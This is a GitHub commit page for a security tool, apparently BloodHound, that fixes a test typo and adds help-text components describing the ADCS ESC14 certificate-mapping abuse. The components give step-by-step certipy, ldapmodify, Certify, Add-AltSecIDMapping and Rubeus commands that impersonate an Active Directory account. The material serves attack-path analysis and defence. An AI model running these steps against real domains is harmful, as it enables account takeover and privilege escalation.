Skip to content

Commit 96326f6

Browse files
committed
esc14 improvements
1 parent 5668da3 commit 96326f6

File tree

20 files changed

+297
-3225
lines changed

20 files changed

+297
-3225
lines changed

cmd/api/src/test/integration/harnesses.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3784,7 +3784,7 @@ func (s *ESC10aPrincipalHarness) Setup(graphTestContext *GraphTestContext) {
37843784
s.Group4 = graphTestContext.NewActiveDirectoryGroup("Group4", domainSid)
37853785
s.Group5 = graphTestContext.NewActiveDirectoryGroup("Group5", domainSid)
37863786
s.Group6 = graphTestContext.NewActiveDirectoryGroup("Group6", domainSid)
3787-
s.Group5 = graphTestContext.NewActiveDirectoryGroup("Group7", domainSid)
3787+
s.Group7 = graphTestContext.NewActiveDirectoryGroup("Group7", domainSid)
37883788
s.User2 = graphTestContext.NewActiveDirectoryUser("User2", domainSid)
37893789
s.Group0 = graphTestContext.NewActiveDirectoryGroup("Group0", domainSid)
37903790
graphTestContext.NewRelationship(s.RootCA, s.Domain, ad.RootCAFor)
Lines changed: 221 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,221 @@
1+
// Copyright 2025 Specter Ops, Inc.
2+
//
3+
// Licensed under the Apache License, Version 2.0
4+
// you may not use this file except in compliance with the License.
5+
// You may obtain a copy of the License at
6+
//
7+
// http://www.apache.org/licenses/LICENSE-2.0
8+
//
9+
// Unless required by applicable law or agreed to in writing, software
10+
// distributed under the License is distributed on an "AS IS" BASIS,
11+
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12+
// See the License for the specific language governing permissions and
13+
// limitations under the License.
14+
//
15+
// SPDX-License-Identifier: Apache-2.0
16+
17+
import { Link, Typography } from '@mui/material';
18+
import { FC } from 'react';
19+
import CodeController from '../CodeController/CodeController';
20+
21+
export const AdcsEsc14ScenarioALinux: FC = () => (
22+
<>
23+
<Typography variant='body1'> ADCS ESC14 Scenario A </Typography>
24+
<Typography variant='body2'>
25+
An attacker can add an explicit certificate mapping in the AltSecurityIdentities of the target referring to
26+
a certificate in the attacker's possession, and then use this certificate to authenticate as the target.
27+
</Typography>
28+
<Typography variant='body2'>
29+
The certificate must meet the following requirements:
30+
<ol style={{ listStyleType: 'decimal', paddingLeft: '1.5em' }}>
31+
<li>Chain up to trusted root CA on the DC</li>
32+
<li>Enhanced Key Usage extension contains an EKU that enables domain authentication</li>
33+
<li>Subject Alternative Name (SAN) does NOT contain a "Other Name/Principal Name" entry (UPN)</li>
34+
</ol>
35+
<p className='my-4'>
36+
The EKUs that enable domain authentication over Kerberos:
37+
<ul style={{ paddingLeft: '1.5em' }}>
38+
<li>Client Authentication (1.3.6.1.5.5.7.3.2)</li>
39+
<li>PKINIT Client Authentication (1.3.6.1.5.2.3.4)</li>
40+
<li>Smart Card Logon (1.3.6.1.4.1.311.20.2.2)</li>
41+
<li>Any Purpose (2.5.29.37.0)</li>
42+
<li>SubCA (no EKUs)</li>
43+
</ul>
44+
</p>
45+
<p className='my-4'>
46+
The last certificate requirement means that user certificates will not work, so the certificate
47+
typically must be of a computer. By default, the ADCS certificate template <i>Computer (Machine)</i>{' '}
48+
meets these requirements and grants Domain Computers enrollment rights. The target can still be a user.
49+
</p>
50+
The last requirement does not have to be met if a DC has UPN mapping disabled (see{' '}
51+
<Link
52+
target='_blank'
53+
rel='noopener'
54+
href='https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ff520074(v=ws.10)'>
55+
How to disable the Subject Alternative Name for UPN mapping
56+
</Link>
57+
).
58+
</Typography>
59+
<Typography variant='body2'>
60+
Obtain a certificate meeting the above requirements for example by dumping a certificate from a computer, or
61+
enrolling a new certificate as a computer:
62+
</Typography>
63+
<Typography component={'pre'}>
64+
{'certipy req -u computername -p Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC14'}
65+
</Typography>
66+
<Typography variant='body2'>
67+
If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot
68+
be added to the Subject or Subject Alternate name, then it is because the enrollee principal does not have
69+
their mail or dNSHostName attribute set, which is required by the certificate template. The mail attribute
70+
can be set on both user and computer objects but the dNSHostName attribute can only be set on computer
71+
objects. Computers have validated write permission to their own dNSHostName attribute by default, but
72+
neither users nor computers can write to their own mail attribute by default.
73+
</Typography>
74+
<Typography variant='body2'>
75+
The abuse is possible with the strong explicit certificate mappings X509IssuerSerialNumber or
76+
X509SHA1PublicKey. In this example, we use X509SHA1PublicKey.
77+
</Typography>
78+
<Typography variant='body2'>Get the SHA1 hash of the certificate using openssl:</Typography>
79+
<CodeController>
80+
{`openssl pkcs12 -info -in computername.pfx -nokeys | openssl x509 -noout -sha1 -fingerprint | tr -d ':' | tr '[:upper:]' '[:lower:]'
81+
82+
sha1 fingerprint=f61331a504cff8cb5e60c269632c31aa3032a54a`}
83+
</CodeController>
84+
<Typography variant='body2'>
85+
Use ldapmodify to add the explicit certificate mapping string to the 'altSecurityIdentities' attribute of
86+
the target principal:
87+
</Typography>
88+
<Typography component={'pre'}>
89+
{
90+
'echo -e "dn: CN=Target,CN=Users,DC=forestroot,DC=com\nchangetype: modify\nadd: altSecurityIdentities\naltSecurityIdentities: X509:<SHA1-PUKEY>f61331a504cff8cb5e60c269632c31aa3032a54a" | ldapmodify -x -D "CN=Attacker,CN=Users,DC=forestroot,DC=com" -w \'PWD\' -h forestroot.com'
91+
}
92+
</Typography>
93+
<Typography variant='body2'>Verify the that the mapping was added using ldapsearch:</Typography>
94+
<Typography component={'pre'}>
95+
{
96+
'ldapsearch -x -D "CN=Attacker,CN=Users,DC=forestroot,DC=com" -w \'PWD\' -h "forestroot.com" -b "CN=Target,CN=Users,DC=forestroot,DC=com" altSecurityIdentities'
97+
}
98+
</Typography>
99+
<Typography variant='body2'>
100+
Request a ticket granting ticket (TGT) from the domain using Certipy, specifying the certificate and the IP
101+
of a DC:
102+
</Typography>
103+
<Typography component={'pre'}>{'certipy auth -pfx computername.pfx -dc-ip 172.16.126.128'}</Typography>
104+
<Typography variant='body2'>
105+
After the execution of the abuse, use ldapmodify to remove the explicit certificate mapping string from the
106+
'altSecurityIdentities' attribute of the target principal:
107+
</Typography>
108+
<Typography component={'pre'}>
109+
{
110+
'echo -e "dn: CN=Target,CN=Users,DC=forestroot,DC=com\nchangetype: modify\ndelete: altSecurityIdentities\naltSecurityIdentities: X509:<SHA1-PUKEY>f61331a504cff8cb5e60c269632c31aa3032a54a" | ldapmodify -x -D "CN=Attacker,CN=Users,DC=forestroot,DC=com" -w \'PWD\' -h forestroot.com'
111+
}
112+
</Typography>
113+
</>
114+
);
115+
116+
export const AdcsEsc14ScenarioAWindows: FC = () => {
117+
return (
118+
<>
119+
<Typography variant='body1'> ADCS ESC14 Scenario A </Typography>
120+
<Typography variant='body2'>
121+
An attacker can add an explicit certificate mapping in the altSecurityIdentities of the target referring
122+
to a certificate in the attacker's possession, and then use this certificate to authenticate as the
123+
target.
124+
</Typography>
125+
<Typography variant='body2'>
126+
The certificate must meet the following requirements:
127+
<ol style={{ listStyleType: 'decimal', paddingLeft: '1.5em' }}>
128+
<li>Chain up to trusted root CA on the DC</li>
129+
<li>Enhanced Key Usage extension contains an EKU that enables domain authentication</li>
130+
<li>Subject Alternative Name (SAN) does NOT contain a "Other Name/Principal Name" entry (UPN)</li>
131+
</ol>
132+
<p className='my-4'>
133+
The EKUs that enable domain authentication over Kerberos:
134+
<ul style={{ paddingLeft: '1.5em' }}>
135+
<li>Client Authentication (1.3.6.1.5.5.7.3.2)</li>
136+
<li>PKINIT Client Authentication (1.3.6.1.5.2.3.4)</li>
137+
<li>Smart Card Logon (1.3.6.1.4.1.311.20.2.2)</li>
138+
<li>Any Purpose (2.5.29.37.0)</li>
139+
<li>SubCA (no EKUs)</li>
140+
</ul>
141+
</p>
142+
<p className='my-4'>
143+
The last certificate requirement means that user certificates will not work, so the certificate
144+
typically must be of a computer. By default, the ADCS certificate template <i>Computer (Machine)</i>{' '}
145+
meets these requirements and grants Domain Computers enrollment rights. The target can still be a
146+
user.
147+
</p>
148+
The last requirement does not have to be met if a DC has UPN mapping disabled (see{' '}
149+
<Link
150+
target='_blank'
151+
rel='noopener'
152+
href='https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ff520074(v=ws.10)'>
153+
How to disable the Subject Alternative Name for UPN mapping
154+
</Link>
155+
).
156+
</Typography>
157+
<Typography variant='body2'>
158+
Obtain a certificate meeting the above requirements for example by dumping a certificate from a
159+
computer, or enrolling a new certificate as a computer:
160+
</Typography>
161+
<Typography component={'pre'}>
162+
{
163+
'Certify.exe request /ca:rootdomaindc.forestroot.com\\forestroot-RootDomainDC-CA /template:Machine /machine'
164+
}
165+
</Typography>
166+
<Typography variant='body2'>
167+
If the enrollment fails with an error message stating that the Email or DNS name is unavailable and
168+
cannot be added to the Subject or Subject Alternate name, then it is because the enrollee principal does
169+
not have their mail or dNSHostName attribute set, which is required by the certificate template. The
170+
mail attribute can be set on both user and computer objects but the dNSHostName attribute can only be
171+
set on computer objects. Computers have validated write permission to their own dNSHostName attribute by
172+
default, but neither users nor computers can write to their own mail attribute by default.
173+
</Typography>
174+
<Typography variant='body2'>
175+
Save the certificate as cert.pem and the private key as cert.key. Use certutil to obtain the certificate
176+
as a PFX file:
177+
</Typography>
178+
<Typography component={'pre'}>{'certutil.exe -MergePFX .\\cert.pem .\\cert.pfx'}</Typography>
179+
<Typography variant='body2'>
180+
The abuse is possible with the strong explicit certificate mappings X509IssuerSerialNumber or
181+
X509SHA1PublicKey. In this example, we use X509SHA1PublicKey.
182+
</Typography>
183+
<Typography variant='body2'>Get the SHA1 hash of the certificate public key using certutil:</Typography>
184+
<CodeController>
185+
{`certutil.exe -dump -v .\\cert.pfx
186+
187+
Cert Hash(sha1): ef9375785421d3ad286d8bdeb166f0f697266992
188+
…`}
189+
</CodeController>
190+
<Typography variant='body2'>
191+
Use Add-AltSecIDMapping to add the explicit certificate mapping string to the 'altSecurityIdentities'
192+
attribute of the target principal:
193+
</Typography>
194+
<Typography component={'pre'}>
195+
{
196+
'Add-AltSecIDMapping -DistinguishedName "CN=Target,CN=Users,DC=forestroot,DC=com" -MappingString "X509:<SHA1-PUKEY>ef9375785421d3ad286d8bdeb166f0f697266992"'
197+
}
198+
</Typography>
199+
<Typography variant='body2'>Verify the that the mapping was added using Get-AltSecIDMapping:</Typography>
200+
<Typography component={'pre'}>
201+
{'Get-AltSecIDMapping -SearchBase "CN=Target,CN=Users,DC=forestroot,DC=com"'}
202+
</Typography>
203+
<Typography variant='body2'>
204+
Use Rubeus to request a ticket granting ticket (TGT) from the domain, specifying the target identity,
205+
and the PFX-formatted certificate:
206+
</Typography>
207+
<Typography component={'pre'}>
208+
{'Rubeus asktgt /user:"forestroot\\target" /certificate:cert.pfx /ptt'}
209+
</Typography>
210+
<Typography variant='body2'>
211+
After the execution of the abuse, use Remove-AltSecIDMapping to remove the explicit certificate mapping
212+
string from the 'altSecurityIdentities' attribute of the target principal:
213+
</Typography>
214+
<Typography component={'pre'}>
215+
{
216+
'Remove-AltSecIDMapping -DistinguishedName "CN=Target,CN=Users,DC=forestroot,DC=com" -MappingString "X509:<SHA1-PUKEY>ef9375785421d3ad286d8bdeb166f0f697266992"'
217+
}
218+
</Typography>
219+
</>
220+
);
221+
};
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
// Copyright 2025 Specter Ops, Inc.
2+
//
3+
// Licensed under the Apache License, Version 2.0
4+
// you may not use this file except in compliance with the License.
5+
// You may obtain a copy of the License at
6+
//
7+
// http://www.apache.org/licenses/LICENSE-2.0
8+
//
9+
// Unless required by applicable law or agreed to in writing, software
10+
// distributed under the License is distributed on an "AS IS" BASIS,
11+
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12+
// See the License for the specific language governing permissions and
13+
// limitations under the License.
14+
//
15+
// SPDX-License-Identifier: Apache-2.0
16+
17+
export { AdcsEsc14ScenarioALinux, AdcsEsc14ScenarioAWindows } from './AdcsEsc14ScenarioA';

0 commit comments

Comments
 (0)